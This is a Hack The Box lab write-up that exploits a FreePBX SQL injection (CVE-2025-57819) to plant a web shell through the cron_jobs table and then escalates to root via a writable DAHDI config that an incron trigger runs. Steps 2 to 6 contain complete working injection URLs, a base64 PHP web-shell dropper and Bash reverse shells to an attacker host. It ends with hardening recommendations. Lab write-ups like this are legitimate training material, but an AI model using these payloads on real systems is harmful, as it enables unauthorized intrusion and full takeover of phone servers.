FreePBX: From Unauthenticated SQL Injection to Root Shell

CVE-2025-57819 • FreePBX 16.0.40.7 • HTB Connected

📋 Executive Summary

This walkthrough documents the complete compromise of the HTB machine Connected.

The attack chain begins with an unauthenticated SQL injection vulnerability in FreePBX, which is leveraged to gain code execution as the asterisk user via a crafted cron job. A writable configuration file combined with an incron trigger then allows privilege escalation to root.

This case demonstrates how web application vulnerabilities, when combined with weak local permissions and insecure privileged automation, can lead to full system compromise.

🔍 Step 1 – Enumeration & Virtual Host Discovery

A rapid port scan reveals the target's open ports:

nmap -T5 --open <MACHINE_IP>

Further inspection shows an Apache server running PHP 7.4, with an HTTP redirect to:

http://connected.htb/

To properly access the site, add the virtual host mapping:

echo "<MACHINE_IP> connected.htb" | sudo tee -a /etc/hosts

Browsing to http://connected.htb/ reveals:

FreePBX 16.0.40.7

🕳️ Step 2 – Exploiting CVE-2025-57819 (SQL Injection)

Research identifies CVE-2025-57819, an unauthenticated error-based SQL injection vulnerability in the FreePBX Endpoint Manager component.

Confirm the vulnerability by extracting the database user:

curl -ik "https://connected.htb/admin/ajax.php?module=FreePBX\\modules\\endpoint\\ajax&command=model&template=x&model=model&brand=x'+AND+EXTRACTVALUE(1,CONCAT('~USER:',(SELECT USER()),'~'))--+"

The response contains:

~USER:freepbxuser@localhost~

This confirms that the SQL injection works and that the application connects to MySQL as:

freepbxuser@localhost

⚙️ Step 3 – Gaining Code Execution via Scheduled Tasks

FreePBX stores scheduled jobs in the cron_jobs table.

By injecting a malicious entry into this table, arbitrary commands can be scheduled for execution.

The following payload creates a PHP web shell in the web root:

curl -ik "https://connected.htb/admin/ajax.php?module=FreePBX\\modules\\endpoint\\ajax&command=model&template=x&model=model&brand=x';INSERT INTO cron_jobs (modulename,jobname,command,class,schedule,max_runtime,enabled,execution_order) VALUES ('sysadmin','wt-shell3','echo \"PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+Cg==\"|base64 -d >/var/www/html/c1sco.php',NULL,'* * * * *',30,1,1)-- "

The server returns a generic 500 error, but the SQL statement executes successfully.

After approximately one minute, verify that the web shell has been created:

curl -ik "https://connected.htb/c1sco.php?cmd=id"

Output:

uid=999(asterisk) gid=1000(asterisk) groups=1000(asterisk)

We now have command execution as the asterisk user through HTTP requests.

💻 Step 4 – Establishing an Interactive Reverse Shell

Start a Netcat listener on the attacking machine:

nc -lvnp 4444

Trigger a Bash reverse shell through the web shell:

curl -ik "https://connected.htb/c1sco.php?cmd=bash+-c+'bash+-i+>%26+/dev/tcp/<ATTACKER_IP>/4444+0>%261'"

A connection is established:

connect to [<ATTACKER_IP>] from [<MACHINE_IP>]
uid=999(asterisk) gid=1000(asterisk)

We now have an interactive shell as the asterisk user.

🔎 Step 5 – Local Enumeration & Privilege Escalation Path

Search for writable files under /etc, excluding known false positives:

find /etc -writable 2>/dev/null | grep -v "/etc/wanpipe\|/etc/asterisk\|/etc/schmooze" | head -20

A notable result is:

/etc/dahdi/init.conf

Next, examine the incron configuration:

cat /etc/incron.d/*

This reveals the following filesystem watcher:

/var/spool/asterisk/sysadmin/dahdi_restart IN_CLOSE_WRITE /usr/sbin/sysadmin_dahdi_restart

This means that whenever the sentinel file:

/var/spool/asterisk/sysadmin/dahdi_restart

is written to, the following script is executed:

/usr/sbin/sysadmin_dahdi_restart

Inspecting the script reveals that it sources:

/etc/dahdi/init.conf

Since /etc/dahdi/init.conf is writable by the asterisk user and is sourced by a root process, it provides a path to arbitrary command execution as root.

🚀 Step 6 – Escalating to Root via DAHDI

Start a second Netcat listener on port 4445:

nc -lvnp 4445

From the asterisk shell, append a reverse-shell payload to the writable configuration file:

echo 'bash -c "bash -i >& /dev/tcp/<ATTACKER_IP>/4445 0>&1" &' >> /etc/dahdi/init.conf

Trigger the incron action by writing to the watched file:

echo "restart" > /var/spool/asterisk/sysadmin/dahdi_restart

Within seconds, the root shell connects:

connect to [<ATTACKER_IP>] from [<MACHINE_IP>]
uid=0(root) gid=0(root) groups=0(root)

🎯 Full root access achieved!

🏁 Step 7 – Capturing the Flags

User Flag

cat /home/asterisk/user.txt

Output:

HTB{...user_flag...}

Root Flag

cat /root/root.txt

Output:

HTB{...root_flag...}

📚 Attack Chain Summary

Unauthenticated SQL Injection
            │
            ▼
     MySQL Query Execution
            │
            ▼
   Insert Malicious Cron Job
            │
            ▼
      PHP Web Shell
            │
            ▼
      asterisk Shell
            │
            ▼
 Writable /etc/dahdi/init.conf
            │
            ▼
       incron Trigger
            │
            ▼
      Root Command Execution
            │
            ▼
          root

📊 Lessons Learned

🔐 Recommendations

1. Validate User Input

Use parameterized queries and strict input validation for all database operations.

Never concatenate user-controlled input directly into SQL queries.

2. Restrict Configuration File Permissions

Configuration files consumed by privileged services should not be writable by low-privileged service accounts.

In particular, review permissions on files under:

/etc/

3. Review Cron and Incron Jobs

Regularly audit scheduled tasks and filesystem watchers.

Privileged jobs should not execute commands based on files that untrusted users can modify.

4. Avoid Sourcing Untrusted Configuration

Root-owned scripts should avoid sourcing configuration files that can be modified by unprivileged users.

5. Apply Least Privilege

Web applications and services should run with the minimum permissions required for their operation.

Reducing the privileges of the FreePBX/Apache environment can significantly limit the impact of a successful application compromise.

🏆 Final Attack Chain

CVE-2025-57819
      │
      ▼
Unauthenticated SQL Injection
      │
      ▼
cron_jobs Table Manipulation
      │
      ▼
Scheduled PHP Web Shell
      │
      ▼
asterisk User
      │
      ▼
Writable /etc/dahdi/init.conf
      │
      ▼
incron File Watcher
      │
      ▼
Privileged DAHDI Script
      │
      ▼
Root Shell
      │
      ▼
🏆 Full System Compromise

Disclaimer: This write-up is intended for educational purposes and authorized security testing, such as Hack The Box labs and controlled environments.